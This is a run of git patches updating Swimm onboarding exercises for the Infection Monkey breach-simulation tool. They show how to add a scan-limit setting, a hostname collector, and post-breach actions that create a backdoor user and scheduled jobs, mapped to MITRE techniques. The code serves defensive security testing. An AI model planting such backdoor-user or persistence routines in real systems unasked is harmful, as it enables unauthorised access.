Changelog](https://keepachangelog.com/en/1.0.0/). - Monkey agents are stored in the configurable data_dir when monkey is "run from the island". #997 - Reformated all code using black. #1070 +- Sort all imports usind isort. #1081 From 2881b11be32ab3fe17d34b7fe1a05f9e853d9dd5 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 7 Apr 2021 06:47:32 -0400 Subject: [PATCH 0150/1360] =?UTF-8?q?Swimm:=20update=20exercise=20Add=20a?= =?UTF-8?q?=20new=20configuration=20setting=20to=20the=20Agent=20=E2=9A=99?= =?UTF-8?q?=20(id:=20AzD8XysWg1BBXCjCDkfq).?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .swm/AzD8XysWg1BBXCjCDkfq.swm | 160 ++++++++++++++++------------------ 1 file changed, 77 insertions(+), 83 deletions(-) diff --git a/.swm/AzD8XysWg1BBXCjCDkfq.swm b/.swm/AzD8XysWg1BBXCjCDkfq.swm index 83958e46616..a798922f009 100644 --- a/.swm/AzD8XysWg1BBXCjCDkfq.swm +++ b/.swm/AzD8XysWg1BBXCjCDkfq.swm @@ -1,92 +1,86 @@ { "id": "AzD8XysWg1BBXCjCDkfq", "name": "Add a new configuration setting to the Agent âš™", - "dod": "Make the max victim number that Monkey will find before stopping configurable by the user instead of constant.", - "description": "# Make something configurable\n\nIn this unit, you will learn how to add a configuration option to Monkey and how to use it in the Monkey Agent code. \n\n![computer fire](https://media.giphy.com/media/7J4P7cUur2DlErijp3/giphy.gif \"computer fire\")\n\n## Why is this important?\n\nEnabling users to configure the Monkey's behaviour gives them a lot more freedom in how they want to use the Monkey and enables more use cases.\n\n## What is \"Max victims to find\"?\n\nThe Monkey has a function which finds \"victim\" machines on the network for the Monkey to try and exploit. It's called `get_victim_machines`. This function accepts an argument which limits how many machines the Monkey should find.\n\nWe want to make that value editable by the user instead of constant in the code.\n\n## Manual testing\n\n1. After you've performed the required changes, reload the Server and check your value exists in the Internal tab of the config (see image).\n\n![](https://i.imgur.com/e0XAxuV.png)\n\n2. Set the new value to 1, and run Monkey locally (from source). See that the Monkey only scans one machine.", - "summary": "* When changing config schema by adding or deleting keys, you need to update the Blackbox Test configurations as well [here](https://github.com/guardicore/monkey/tree/develop/envs/monkey_zoo/blackbox/island_configs).", - "hunksOrder": [ - "monkey/infection_monkey/config.py_0", - "monkey/infection_monkey/monkey.py_0", - "monkey/monkey_island/cc/services/config_schema/internal.py_0" - ], - "tests": [], - "hints": [ - "Look for `victims_max_exploit` - it's rather similar." - ], - "play_mode": "all", - "swimmPatch": { - "monkey/infection_monkey/config.py": { - "diffType": "MODIFIED", - "fileDiffHeader": "diff --git a/monkey/infection_monkey/config.py b/monkey/infection_monkey/config.py\nindex 1fbcb876..67ed19de 100644\n--- a/monkey/infection_monkey/config.py\n+++ b/monkey/infection_monkey/config.py", - "hunks": [ - { - "swimmHunkMetadata": { - "hunkComments": [] - }, - "hunkDiffLines": [ - "@@ -131,8 +131,6 @@", - " exploiter_classes = []\r", - " system_info_collector_classes = []\r", - " \r", - "- # how many victims to look for in a single scan iteration\r", - "- victims_max_find = 100\r", - " \r", - " # how many victims to exploit before stopping\r", - " victims_max_exploit = 100\r" - ] - } + "task": { + "dod": "Make the max victim number that Monkey will find before stopping configurable by the user instead of constant.", + "tests": [], + "hints": [ + "Look for `victims_max_exploit` - it's rather similar." + ] + }, + "content": [ + { + "type": "text", + "text": "# Make something configurable\n\nIn this unit, you will learn how to add a configuration option to Monkey and how to use it in the Monkey Agent code. \n\n![computer fire](https://media.giphy.com/media/7J4P7cUur2DlErijp3/giphy.gif \"computer fire\")\n\n## Why is this important?\n\nEnabling users to configure the Monkey's behaviour gives them a lot more freedom in how they want to use the Monkey and enables more use cases.\n\n## What is \"Max victims to find\"?\n\nThe Monkey has a function which finds \"victim\" machines on the network for the Monkey to try and exploit. It's called `get_victim_machines`. This function accepts an argument which limits how many machines the Monkey should find.\n\nWe want to make that value editable by the user instead of constant in the code.\n\n## Manual testing\n\n1. After you've performed the required changes, reload the Server and check your value exists in the Internal tab of the config (see image).\n\n![](https://i.imgur.com/e0XAxuV.png)\n\n2. Set the new value to 1, and run Monkey locally (from source). See that the Monkey only scans one machine." + }, + { + "type": "snippet", + "path": "monkey/infection_monkey/config.py", + "comments": [], + "firstLineNumber": 126, + "lines": [ + " exploiter_classes = []", + " system_info_collector_classes = []", + " ", + "* # how many victims to look for in a single scan iteration\r", + "* victims_max_find = 100\r", + " ", + " # how many victims to exploit before stopping", + " victims_max_exploit = 100" ] }, - "monkey/infection_monkey/monkey.py": { - "diffType": "MODIFIED", - "fileDiffHeader": "diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py\nindex 444bde45..ff23f671 100644\n--- a/monkey/infection_monkey/monkey.py\n+++ b/monkey/infection_monkey/monkey.py", - "hunks": [ - { - "swimmHunkMetadata": { - "hunkComments": [] - }, - "hunkDiffLines": [ - "@@ -159,8 +159,6 @@", - " if not self._keep_running or not WormConfiguration.alive:\r", - " break\r", - " \r", - "- machines = self._network.get_victim_machines(max_find=WormConfiguration.victims_max_find,\r", - "- stop_callback=ControlClient.check_for_stop)\r", - " is_empty = True\r", - " for machine in machines:\r", - " if ControlClient.check_for_stop():\r" - ] - } + { + "type": "snippet", + "path": "monkey/infection_monkey/monkey.py", + "comments": [], + "firstLineNumber": 159, + "lines": [ + " ", + " if not self._keep_running or not WormConfiguration.alive:", + " break", + "*", + "* machines = self._network.get_victim_machines(", + "* max_find=WormConfiguration.victims_max_find,", + "* stop_callback=ControlClient.check_for_stop,", + "* )", + " is_empty = True", + " for machine in machines:", + " if ControlClient.check_for_stop():" ] }, - "monkey/monkey_island/cc/services/config_schema/internal.py": { - "diffType": "MODIFIED", - "fileDiffHeader": "diff --git a/monkey/monkey_island/cc/services/config_schema/internal.py b/monkey/monkey_island/cc/services/config_schema/internal.py\nindex bdbae246..d6042d35 100644\n--- a/monkey/monkey_island/cc/services/config_schema/internal.py\n+++ b/monkey/monkey_island/cc/services/config_schema/internal.py", - "hunks": [ - { - "swimmHunkMetadata": { - "hunkComments": [] - }, - "hunkDiffLines": [ - "@@ -40,12 +40,6 @@", - " \"title\": \"Monkey\",\r", - " \"type\": \"object\",\r", - " \"properties\": {\r", - "- \"victims_max_find\": {\r", - "- \"title\": \"Max victims to find\",\r", - "- \"type\": \"integer\",\r", - "- \"default\": 100,\r", - "- \"description\": \"Determines the maximum number of machines the monkey is allowed to scan\"\r", - "- },\r", - " \"victims_max_exploit\": {\r", - " \"title\": \"Max victims to exploit\",\r", - " \"type\": \"integer\",\r" - ] - } + { + "type": "snippet", + "path": "monkey/monkey_island/cc/services/config_schema/internal.py", + "comments": [], + "firstLineNumber": 39, + "lines": [ + " \"title\": \"Monkey\",", + " \"type\": \"object\",", + " \"properties\": {", + "* \"victims_max_find\": {", + "* \"title\": \"Max victims to find\",", + "* \"type\": \"integer\",", + "* \"default\": 100,", + "* \"description\": \"Determines the maximum number of machines the monkey is allowed to scan\",", + "* },", + " \"victims_max_exploit\": {", + " \"title\": \"Max victims to exploit\",", + " \"type\": \"integer\"," ] + }, + { + "type": "text", + "text": "* When changing config schema by adding or deleting keys, you need to update the Blackbox Test configurations as well [here](https://github.com/guardicore/monkey/tree/develop/envs/monkey_zoo/blackbox/island_configs)." } - }, - "app_version": "0.3.5-1", - "file_version": "1.0.4", - "last_commit_sha_for_swimm_patch": "17ee823b086f0b027612e2d1864930d2c5593c3e" -} \ No newline at end of file + ], + "symbols": {}, + "file_version": "2.0.1", + "meta": { + "app_version": "0.4.1-1", + "file_blobs": { + "monkey/infection_monkey/config.py": "7aeaccee2a663d2b69d62d4692acc2aa24e2d1f7", + "monkey/infection_monkey/monkey.py": "7123d8b9ef8c02870534bdf0008df1245bb1392a", + "monkey/monkey_island/cc/services/config_schema/internal.py": "890e74efab70c4610f4a17cc531e09e5afcb5368" + } + } +} From 874a88ced09a448c079fddcbadf9bb7d1b80564c Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 7 Apr 2021 06:49:30 -0400 Subject: [PATCH 0151/1360] Swimm: update exercise Add a new System Info Collector (id: OwcKMnALpn7tuBaJY1US). --- .swm/OwcKMnALpn7tuBaJY1US.swm | 93 +++++++++++++++++++---------------- 1 file changed, 51 insertions(+), 42 deletions(-) diff --git a/.swm/OwcKMnALpn7tuBaJY1US.swm b/.swm/OwcKMnALpn7tuBaJY1US.swm index 0640f1c3720..1f1b0ace047 100644 --- a/.swm/OwcKMnALpn7tuBaJY1US.swm +++ b/.swm/OwcKMnALpn7tuBaJY1US.swm @@ -58,38 +58,36 @@ "type": "snippet", "path": "monkey/monkey_island/cc/services/config_schema/definitions/system_info_collector_classes.py", "comments": [], - "firstLineNumber": 1, + "firstLineNumber": 4, "lines": [ - " from common.common_consts.system_info_collectors_names import (AWS_COLLECTOR, AZURE_CRED_COLLECTOR,\r", - "* ENVIRONMENT_COLLECTOR, HOSTNAME_COLLECTOR,\r", - " MIMIKATZ_COLLECTOR, PROCESS_LIST_COLLECTOR)\r", - " \r", - " SYSTEM_INFO_COLLECTOR_CLASSES = {\r" + " ENVIRONMENT_COLLECTOR,", + "* HOSTNAME_COLLECTOR,", + " MIMIKATZ_COLLECTOR,", + " PROCESS_LIST_COLLECTOR,", + " )" ] }, { "type": "snippet", "path": "monkey/monkey_island/cc/services/config_schema/definitions/system_info_collector_classes.py", "comments": [], - "firstLineNumber": 37, + "firstLineNumber": 36, "lines": [ " \"info\": \"If on AWS, collects more information about the AWS instance currently running on.\",", - " \"attack_techniques\": [\"T1082\"]", + " \"attack_techniques\": [\"T1082\"],", " },", "* {", "+ # SWIMMER: Collector config goes here. Tip: Hostname collection relates to the T1082 and T1016 techniques.", "* \"type\": \"string\",", - "* \"enum\": [", - "* HOSTNAME_COLLECTOR", - "* ],", + "* \"enum\": [HOSTNAME_COLLECTOR],", "* \"title\": \"Hostname collector\",", "* \"safe\": True,", "* \"info\": \"Collects machine's hostname.\",", - "* \"attack_techniques\": [\"T1082\", \"T1016\"]", + "* \"attack_techniques\": [\"T1082\", \"T1016\"],", "* },", " {", " \"type\": \"string\",", - " \"enum\": [" + " \"enum\": [PROCESS_LIST_COLLECTOR]," ] }, { @@ -98,20 +96,20 @@ "comments": [], "firstLineNumber": 1, "lines": [ - " from common.common_consts.system_info_collectors_names import (AWS_COLLECTOR, AZURE_CRED_COLLECTOR,", - " ENVIRONMENT_COLLECTOR, HOSTNAME_COLLECTOR,", - " MIMIKATZ_COLLECTOR, PROCESS_LIST_COLLECTOR)", + " from common.common_consts.system_info_collectors_names import (", + " AWS_COLLECTOR,", + " AZURE_CRED_COLLECTOR,", "* HOSTNAME_COLLECTOR,", - " MONKEY = {", - " \"title\": \"Monkey\",", - " \"type\": \"object\"," + " HOSTNAME_COLLECTOR,", + " MIMIKATZ_COLLECTOR,", + " PROCESS_LIST_COLLECTOR," ] }, { "type": "snippet", "path": "monkey/monkey_island/cc/services/config_schema/monkey.py", "comments": [], - "firstLineNumber": 85, + "firstLineNumber": 92, "lines": [ " \"default\": [", " ENVIRONMENT_COLLECTOR,", @@ -119,7 +117,7 @@ "* HOSTNAME_COLLECTOR,", " PROCESS_LIST_COLLECTOR,", " MIMIKATZ_COLLECTOR,", - " AZURE_CRED_COLLECTOR" + " AZURE_CRED_COLLECTOR," ] }, { @@ -148,26 +146,26 @@ "comments": [], "firstLineNumber": 1, "lines": [ - " import logging\r", - " import typing\r", - " \r", - "*from common.common_consts.system_info_collectors_names import (AWS_COLLECTOR, ENVIRONMENT_COLLECTOR, HOSTNAME_COLLECTOR,\r", - " PROCESS_LIST_COLLECTOR)\r", - " from monkey_island.cc.services.telemetry.processing.system_info_collectors.aws import process_aws_telemetry\r", - " from monkey_island.cc.services.telemetry.processing.system_info_collectors.environment import \\\r" + " import logging", + " import typing", + " ", + "*from common.common_consts.system_info_collectors_names import (", + " AWS_COLLECTOR,", + " ENVIRONMENT_COLLECTOR,", + " HOSTNAME_COLLECTOR," ] }, { "type": "snippet", "path": "monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/system_info_telemetry_dispatcher.py", "comments": [], - "firstLineNumber": 14, + "firstLineNumber": 25, "lines": [ " SYSTEM_INFO_COLLECTOR_TO_TELEMETRY_PROCESSORS = {", " AWS_COLLECTOR: [process_aws_telemetry],", " ENVIRONMENT_COLLECTOR: [process_environment_telemetry],", "* HOSTNAME_COLLECTOR: [process_hostname_telemetry],", - " PROCESS_LIST_COLLECTOR: [check_antivirus_existence]", + " PROCESS_LIST_COLLECTOR: [check_antivirus_existence],", " }", " " ] @@ -175,15 +173,18 @@ { "type": "snippet", "lines": [ - " from monkey_island.cc.services.telemetry.processing.system_info_collectors.aws import process_aws_telemetry\r", - " from monkey_island.cc.services.telemetry.processing.system_info_collectors.environment import \\\r", - " process_environment_telemetry\r", - "*from monkey_island.cc.services.telemetry.processing.system_info_collectors.hostname import process_hostname_telemetry\r", - " from monkey_island.cc.services.telemetry.zero_trust_checks.antivirus_existence import check_antivirus_existence\r", - " \r", - " logger = logging.getLogger(__name__)\r" + " )", + " from monkey_island.cc.services.telemetry.processing.system_info_collectors.environment import (", + " process_environment_telemetry,", + "*)", + "*from monkey_island.cc.services.telemetry.processing.system_info_collectors.hostname import (", + "* process_hostname_telemetry,", + "*)", + " from monkey_island.cc.services.telemetry.zero_trust_checks.antivirus_existence import (", + " check_antivirus_existence,", + " )" ], - "firstLineNumber": 6, + "firstLineNumber": 12, "path": "monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/system_info_telemetry_dispatcher.py", "comments": [] }, @@ -192,9 +193,17 @@ "text": "System info collectors are useful to get more data for various things, such as ZT tests or MITRE techniques. Take a look at some other techniques!" } ], - "file_version": "2.0.0", + "symbols": {}, + "file_version": "2.0.1", "meta": { - "app_version": "0.3.7-0", - "file_blobs": {} + "app_version": "0.4.1-1", + "file_blobs": { + "monkey/common/common_consts/system_info_collectors_names.py": "c93cb2537ca94c9e46980d0cd06cc86a0ab34e29", + "monkey/infection_monkey/system_info/collectors/hostname_collector.py": "0aeecd9fb7bde83cccd4501ec03e0da199ec5fc3", + "monkey/monkey_island/cc/services/config_schema/definitions/system_info_collector_classes.py": "487166ec6f6d0559abd07e04d72fe55f230fc518", + "monkey/monkey_island/cc/services/config_schema/monkey.py": "0d69c5aa4fee48943f7847048942d257d27c2472", + "monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/hostname.py": "e2de4519cbd71bba70e81cf3ff61817437d95a21", + "monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/system_info_telemetry_dispatcher.py": "894bdce75f0ae2b892bd5b3c6c70949be52b36e7" + } } -} \ No newline at end of file +} From c1950aa4ffa72c41a0b0925a674b3a1257c5550a Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 7 Apr 2021 06:52:05 -0400 Subject: [PATCH 0152/1360] Swimm: update exercise Add a simple Post Breach action (id: tbxb2cGgUiJQ8Btma0fp). --- .swm/tbxb2cGgUiJQ8Btma0fp.swm | 56 +++++++++++++++++------------------ 1 file changed, 27 insertions(+), 29 deletions(-) diff --git a/.swm/tbxb2cGgUiJQ8Btma0fp.swm b/.swm/tbxb2cGgUiJQ8Btma0fp.swm index 255e44a9b73..c6d72185d52 100644 --- a/.swm/tbxb2cGgUiJQ8Btma0fp.swm +++ b/.swm/tbxb2cGgUiJQ8Btma0fp.swm @@ -37,20 +37,19 @@ "lines": [ "*from common.common_consts.post_breach_consts import POST_BREACH_BACKDOOR_USER", "*from infection_monkey.config import WormConfiguration", - " from infection_monkey.post_breach.pba import PBA", - " from infection_monkey.utils.users import get_commands_to_add_user", - " ", - " ", - " class BackdoorUser(PBA):", - " def __init__(self):", + "*from infection_monkey.post_breach.pba import PBA", + "*from infection_monkey.utils.users import get_commands_to_add_user", + "*", + "*", + "*class BackdoorUser(PBA):", + "* def __init__(self):", "* linux_cmds, windows_cmds = get_commands_to_add_user(", - "+ pass # Swimmer: Impl here!", - "* WormConfiguration.user_to_add,", - "* WormConfiguration.remote_user_pass)", + "* WormConfiguration.user_to_add, WormConfiguration.remote_user_pass", + "* )", "* super(BackdoorUser, self).__init__(", - "* POST_BREACH_BACKDOOR_USER,", - "* linux_cmd=' '.join(linux_cmds),", - "* windows_cmd=windows_cmds)" + "* POST_BREACH_BACKDOOR_USER, linux_cmd=\" \".join(linux_cmds), windows_cmd=windows_cmds", + "* )", + "*" ] }, { @@ -59,17 +58,17 @@ "comments": [], "firstLineNumber": 1, "lines": [ - "*from common.common_consts.post_breach_consts import POST_BREACH_BACKDOOR_USER, POST_BREACH_COMMUNICATE_AS_NEW_USER\r", - " from monkey_island.cc.services.attack.technique_reports.pba_technique import PostBreachTechnique\r", - " \r", - " __author__ = \"shreyamalviya\"\r" + "*from common.common_consts.post_breach_consts import (", + " POST_BREACH_BACKDOOR_USER,", + " POST_BREACH_COMMUNICATE_AS_NEW_USER,", + " )" ] }, { "type": "snippet", "path": "monkey/monkey_island/cc/services/attack/technique_reports/T1136.py", "comments": [], - "firstLineNumber": 9, + "firstLineNumber": 12, "lines": [ " unscanned_msg = \"Monkey didn't try creating a new user on the network's systems.\"", " scanned_msg = \"Monkey tried creating a new user on the network's systems, but failed.\"", @@ -84,23 +83,21 @@ "comments": [], "firstLineNumber": 4, "lines": [ - " \"might do after breaching a new machine. Used in ATT&CK and Zero trust reports.\",", + " \"might do after breaching a new machine. Used in ATT&CK and Zero trust reports.\",", " \"type\": \"string\",", " \"anyOf\": [", "* {", "+ # Swimmer: Add new PBA here to config!", "* \"type\": \"string\",", - "* \"enum\": [", - "* \"BackdoorUser\"", - "* ],", + "* \"enum\": [\"BackdoorUser\"],", "* \"title\": \"Back door user\",", "* \"safe\": True,", "* \"info\": \"Attempts to create a new user on the system and delete it afterwards.\",", - "* \"attack_techniques\": [\"T1136\"]", + "* \"attack_techniques\": [\"T1136\"],", "* },", " {", " \"type\": \"string\",", - " \"enum\": [" + " \"enum\": [\"CommunicateAsNewUser\"]," ] }, { @@ -108,14 +105,15 @@ "text": "Take a look at the configuration of the island again - see the \"command to run after breach\" option we offer the user? It's implemented exactly like you did right now but each user can do it for themselves. \n\nHowever, what if the PBA needs to do stuff which is more complex than just running a few commands? In that case... " } ], - "file_version": "2.0.0", + "symbols": {}, + "file_version": "2.0.1", "meta": { - "app_version": "0.3.7-0", + "app_version": "0.4.1-1", "file_blobs": { "monkey/common/common_consts/post_breach_consts.py": "25e6679cb1623aae1a732deb05cc011a452743e3", - "monkey/infection_monkey/post_breach/actions/add_user.py": "a85845840d9cb37529ad367e159cd9001929e759", - "monkey/monkey_island/cc/services/attack/technique_reports/T1136.py": "d9d86e08ea4aeb0a6bee3f483e4fea50ee6cd200", - "monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py": "857e80da477ab31dbc00ed0a3f1cd49b69b505fa" + "monkey/infection_monkey/post_breach/actions/add_user.py": "cae5a2428fa01b333a2e70365c9da1e189e31bc4", + "monkey/monkey_island/cc/services/attack/technique_reports/T1136.py": "dfc5945a362b88c1135f4476526c6c82977b02ee", + "monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py": "ea9b18aba7f71da12c9c82ac39d8a0cf2c472a9c" } } -} \ No newline at end of file +} From 5c4214e60a8932466a328cdc3d99bf4494311db1 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 7 Apr 2021 06:52:35 -0400 Subject: [PATCH 0153/1360] Swimm: update exercise Add details about your new PBA (id: JFXftJml8DpmuCPBA9rL). --- .swm/JFXftJml8DpmuCPBA9rL.swm | 94 +++++++++++++++++------------------ 1 file changed, 46 insertions(+), 48 deletions(-) diff --git a/.swm/JFXftJml8DpmuCPBA9rL.swm b/.swm/JFXftJml8DpmuCPBA9rL.swm index d0206a86298..925e662f9fc 100644 --- a/.swm/JFXftJml8DpmuCPBA9rL.swm +++ b/.swm/JFXftJml8DpmuCPBA9rL.swm @@ -1,54 +1,52 @@ { "id": "JFXftJml8DpmuCPBA9rL", "name": "Add details about your new PBA", - "dod": "You should add your new PBA's details to the configuration.", - "description": "In order to make sure that the new `ScheduleJobs` PBA is shown in the configuration on the Monkey Island, you need to add its details to the configuration file(s).

    \n\nSince this particular PBA is related to the MITRE techniques [T1168](https://attack.mitre.org/techniques/T1168) and [T1053](https://attack.mitre.org/techniques/T1053), make sure to link the PBA with these techniques in the configuration as well.

    \n\nEach part of the configuration has an important role \n- *enum* — contains the relevant PBA's class name(s)\n- *title* — holds the name of the PBA which is displayed in the configuration on the Monkey Island\n- *info* — consists of an elaboration on the PBA's working which is displayed in the configuration on the Monkey Island\n- *attack_techniques* — has the IDs of the MITRE techniques associated with the PBA\n\n## Manual test \nOnce you think you're done...\n- Run the Monkey Island\n- You should be able to see your new PBA under the \"Monkey\" tab in the configuration, along with its information when you click on it\n- Further, when you enable/disable the associated MITRE techniques under the ATT&CK tab in the configuration, the PBA should also be enabled/disabled\n\n", - "summary": "- The PBA details in this file are reflected on the Monkey Island in the PBA configuration.\n- PBAs are also linked to the relevant MITRE techniques in this file, whose results can then be seen in the MITRE ATT&CK report on the Monkey Island.", - "hunksOrder": [ - "monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py_0" - ], - "tests": [], - "hints": [ - "Have a look at the details of the other techniques." - ], - "play_mode": "all", - "swimmPatch": { - "monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py": { - "diffType": "MODIFIED", - "fileDiffHeader": "diff --git a/monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py b/monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py\nindex f1fe0f6f..b231f96c 100644\n--- a/monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py\n+++ b/monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py", - "hunks": [ - { - "swimmHunkMetadata": { - "hunkComments": [] - }, - "hunkDiffLines": [ - "@@ -68,16 +68,7 @@", - " \"Removes the file afterwards.\",", - " \"attack_techniques\": [\"T1166\"]", - " },", - "- {", - "+ # Swimmer: ADD DETAILS HERE!", - "- \"type\": \"string\",", - "- \"enum\": [", - "- \"ScheduleJobs\"", - "- ],", - "- \"title\": \"Job scheduling\",", - "- \"safe\": True,", - "- \"info\": \"Attempts to create a scheduled job on the system and remove it.\",", - "- \"attack_techniques\": [\"T1168\", \"T1053\"]", - "- },", - " {", - " \"type\": \"string\",", - " \"enum\": [" - ] - } + "task": { + "dod": "You should add your new PBA's details to the configuration.", + "tests": [], + "hints": [ + "Have a look at the details of the other techniques." + ] + }, + "content": [ + { + "type": "text", + "text": "In order to make sure that the new `ScheduleJobs` PBA is shown in the configuration on the Monkey Island, you need to add its details to the configuration file(s).

    \n\nSince this particular PBA is related to the MITRE techniques [T1168](https://attack.mitre.org/techniques/T1168) and [T1053](https://attack.mitre.org/techniques/T1053), make sure to link the PBA with these techniques in the configuration as well.

    \n\nEach part of the configuration has an important role \n- *enum* — contains the relevant PBA's class name(s)\n- *title* — holds the name of the PBA which is displayed in the configuration on the Monkey Island\n- *info* — consists of an elaboration on the PBA's working which is displayed in the configuration on the Monkey Island\n- *attack_techniques* — has the IDs of the MITRE techniques associated with the PBA\n\n## Manual test \nOnce you think you're done...\n- Run the Monkey Island\n- You should be able to see your new PBA under the \"Monkey\" tab in the configuration, along with its information when you click on it\n- Further, when you enable/disable the associated MITRE techniques under the ATT&CK tab in the configuration, the PBA should also be enabled/disabled\n\n" + }, + { + "type": "snippet", + "path": "monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py", + "comments": [], + "firstLineNumber": 56, + "lines": [ + " \"Removes the file afterwards.\",", + " \"attack_techniques\": [\"T1166\"],", + " },", + "* {", + "+ # Swimmer: ADD DETAILS HERE!", + "* \"type\": \"string\",", + "* \"enum\": [\"ScheduleJobs\"],", + "* \"title\": \"Job scheduling\",", + "* \"safe\": True,", + "* \"info\": \"Attempts to create a scheduled job on the system and remove it.\",", + "* \"attack_techniques\": [\"T1168\", \"T1053\"],", + "* },", + " {", + " \"type\": \"string\",", + " \"enum\": [\"Timestomping\"]," ] + }, + { + "type": "text", + "text": "- The PBA details in this file are reflected on the Monkey Island in the PBA configuration.\n- PBAs are also linked to the relevant MITRE techniques in this file, whose results can then be seen in the MITRE ATT&CK report on the Monkey Island." } - }, - "app_version": "0.3.5-1", - "file_version": "1.0.4", - "hunksOrder": [ - "monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py_0" ], - "last_commit_sha_for_swimm_patch": "9d9e8168fb2c23367b9947273aa1a041687b3e2e" -} \ No newline at end of file + "symbols": {}, + "file_version": "2.0.1", + "meta": { + "app_version": "0.4.1-1", + "file_blobs": { + "monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py": "ea9b18aba7f71da12c9c82ac39d8a0cf2c472a9c" + } + } +} From 7cb92a7e13a0a68b58628596b53be8dbf3fc8ed4 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 7 Apr 2021 06:52:50 -0400 Subject: [PATCH 0154/1360] =?UTF-8?q?Swimm:=20update=20exercise=20Implemen?= =?UTF-8?q?t=20a=20new=20PBA=20=E2=80=94=20=20=20(id:=20VW4rf3AxRslfT7lwau?= =?UTF-8?q?g7).?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .swm/VW4rf3AxRslfT7lwaug7.swm | 92 ++++++++++++++++++----------------- 1 file changed, 47 insertions(+), 45 deletions(-) diff --git a/.swm/VW4rf3AxRslfT7lwaug7.swm b/.swm/VW4rf3AxRslfT7lwaug7.swm index 7af1a816cbb..d379af8cede 100644 --- a/.swm/VW4rf3AxRslfT7lwaug7.swm +++ b/.swm/VW4rf3AxRslfT7lwaug7.swm @@ -1,51 +1,53 @@ { "id": "VW4rf3AxRslfT7lwaug7", "name": "Implement a new PBA — `ScheduleJobs`", - "dod": "You should implement a new PBA in Monkey which schedules jobs on the machine.", - "description": "You need to implement the `ScheduleJobs` PBA which creates scheduled jobs on the machine.

    \n

    \nThe commands that add scheduled jobs for Windows and Linux can be retrieved from `get_commands_to_schedule_jobs` — make sure you understand how to use this function correctly.\n\n## Manual test \nOnce you think you're done...\n- Run the Monkey Island\n- Make sure the \"Job scheduling\" PBA is enabled in the \"Monkey\" tab in the configuration — for this test, disable network scanning, exploiting, and all other PBAs\n- Run the Monkey\n- Make sure you see the PBA with its results in the Security report as well as in the ATT&CK report under the relevant MITRE technique\n\n\n

    \n", - "summary": "Many other PBAs are as simple as this one, using shell commands or scripts — see `Timestomping` and `AccountDiscovery`.

    \n\nHowever, for less straightforward ones, you can override functions and implement new classes depending on what is required — see `SignedScriptProxyExecution` and `ModifyShellStartupFiles`.

    \n\nThis PBA, along with all the other PBAs, will run on a system after it has been breached. The purpose of this code is to test whether target systems allow attackers to schedule jobs, which they could use to run malicious code at some specified date and time.", - "hunksOrder": [ - "monkey/infection_monkey/post_breach/actions/schedule_jobs.py_0" - ], - "tests": [], - "hints": [ - "Check out the `Timestomping` PBA to get an idea about the implementation.", - "Don't forget to add code to remove the scheduled jobs!" - ], - "play_mode": "all", - "swimmPatch": { - "monkey/infection_monkey/post_breach/actions/schedule_jobs.py": { - "diffType": "MODIFIED", - "fileDiffHeader": "diff --git a/monkey/infection_monkey/post_breach/actions/schedule_jobs.py b/monkey/infection_monkey/post_breach/actions/schedule_jobs.py\nindex f7d8d805..06839463 100644\n--- a/monkey/infection_monkey/post_breach/actions/schedule_jobs.py\n+++ b/monkey/infection_monkey/post_breach/actions/schedule_jobs.py", - "hunks": [ - { - "swimmHunkMetadata": { - "hunkComments": [] - }, - "hunkDiffLines": [ - "@@ -10,11 +10,5 @@", - " \"\"\"", - " ", - " def __init__(self):", - "- linux_cmds, windows_cmds = get_commands_to_schedule_jobs()", - "+ pass", - "-", - "+ # Swimmer: IMPLEMENT HERE!", - "- super(ScheduleJobs, self).__init__(name=POST_BREACH_JOB_SCHEDULING,", - "- linux_cmd=' '.join(linux_cmds),", - "- windows_cmd=windows_cmds)", - "- ", - "- def run(self):", - "- super(ScheduleJobs, self).run()" - ] - } + "task": { + "dod": "You should implement a new PBA in Monkey which schedules jobs on the machine.", + "tests": [], + "hints": [ + "Check out the `Timestomping` PBA to get an idea about the implementation.", + "Don't forget to add code to remove the scheduled jobs!" + ] + }, + "content": [ + { + "type": "text", + "text": "You need to implement the `ScheduleJobs` PBA which creates scheduled jobs on the machine.

    \n

    \nThe commands that add scheduled jobs for Windows and Linux can be retrieved from `get_commands_to_schedule_jobs` — make sure you understand how to use this function correctly.\n\n## Manual test \nOnce you think you're done...\n- Run the Monkey Island\n- Make sure the \"Job scheduling\" PBA is enabled in the \"Monkey\" tab in the configuration — for this test, disable network scanning, exploiting, and all other PBAs\n- Run the Monkey\n- Make sure you see the PBA with its results in the Security report as well as in the ATT&CK report under the relevant MITRE technique\n\n\n

    \n" + }, + { + "type": "snippet", + "path": "monkey/infection_monkey/post_breach/actions/schedule_jobs.py", + "comments": [], + "firstLineNumber": 12, + "lines": [ + " \"\"\"", + " ", + " def __init__(self):", + "* linux_cmds, windows_cmds = get_commands_to_schedule_jobs()", + "+ pass", + "*", + "+ # Swimmer: IMPLEMENT HERE!", + "* super(ScheduleJobs, self).__init__(", + "* name=POST_BREACH_JOB_SCHEDULING,", + "* linux_cmd=\" \".join(linux_cmds),", + "* windows_cmd=windows_cmds,", + "* )", + "*", + "* def run(self):", + "* super(ScheduleJobs, self).run()" ] + }, + { + "type": "text", + "text": "Many other PBAs are as simple as this one, using shell commands or scripts — see `Timestomping` and `AccountDiscovery`.

